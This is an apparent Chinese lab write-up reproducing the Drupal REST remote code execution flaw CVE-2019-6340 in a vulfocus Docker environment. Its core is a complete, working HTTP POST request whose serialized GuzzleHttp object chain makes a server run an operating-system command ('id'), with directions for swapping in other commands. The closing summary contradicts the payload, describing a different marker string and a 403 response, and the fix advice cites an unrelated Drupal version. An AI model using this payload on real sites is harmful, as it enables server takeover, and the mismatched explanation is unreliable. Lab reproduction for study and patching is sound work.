Drupal 远程代码执行 CVE-2019-6340 已亲自复现

Drupal 远程代码执行 CVE-2019-6340 已亲自复现

  • 漏洞名称
    • 漏洞描述
    • 影响版本
  • 漏洞复现
    • 环境搭建
  • 修复建议
  • 总结

漏洞名称

漏洞描述

Drupal是一个开源且以PHP语言写成的内容管理框架(CMF) 研究人员发现Drupal存在安全漏洞(CVE-2019-6340),当攻击者以PATCH或POST方式传送RESTful Web资料时,Drupal并未对资料进行严格的检查,进而导致执行任意PHP程式码。

影响版本

Drupal 8.6.x
Drupal <8.6.10
Drupal <8.5.11

漏洞复现

环境搭建

受害者IP:192.168.63.129:57473
攻击者IP:192.168.63.1

vulfocus下载链接

https://github.com/fofapro/vulfocus
git clone https://github.com/fofapro/vulfocus.git

启动vulfocus

docker-compose up -d 

环境启动后,访问http://192.168.63.129:57473即可看到一个 Drupal页面,说明已成功启动。

Drupal 远程代码执行 CVE-2019-6340 已亲自复现_第1张图片

替换payload,执行命令id。

POST /node/?_format=hal_json HTTP/1.1
Host: 漏洞的ip:端口
User-Agent:  Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Connection:  keep-alive
Content-Type: application/hal+json
Accept:  */*
Cache-Control: no-cache
Content-Length: 636
 
{
  "link": [
    {
      "value": "link",
      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
    }
  ],
  "_links": {
    "type": {
      "href": "http://漏洞的ip:端口/rest/type/shortcut/default"
    }
  }
}

Drupal 远程代码执行 CVE-2019-6340 已亲自复现_第2张图片

更换payload,需要更换两个位置。

Drupal 远程代码执行 CVE-2019-6340 已亲自复现_第3张图片

在黄色的后面是执行命令的结果

Drupal 远程代码执行 CVE-2019-6340 已亲自复现_第4张图片

修复建议

1、
Drupal 多个安全漏洞的补丁-升级至最新版本9.4.8
https://www.drupal.org/project/drupal/releases/9.4.8

总结

在请求体中使用了GuzzleHttp库的FnStream类和HandlerStack类,这两个类在正常情况下是用于处理HTTP请求的,但在这里被恶意利用来执行攻击者的代码。攻击者在HandlerStack类的handler属性中插入了pbtw%%rxtx,试图输出pbtw%rxtx字符串。如果攻击成功,则响应状态码为403,响应头中将出现pbtw%rxtx字样。

你可能感兴趣的:(drupal漏洞合集,网络安全)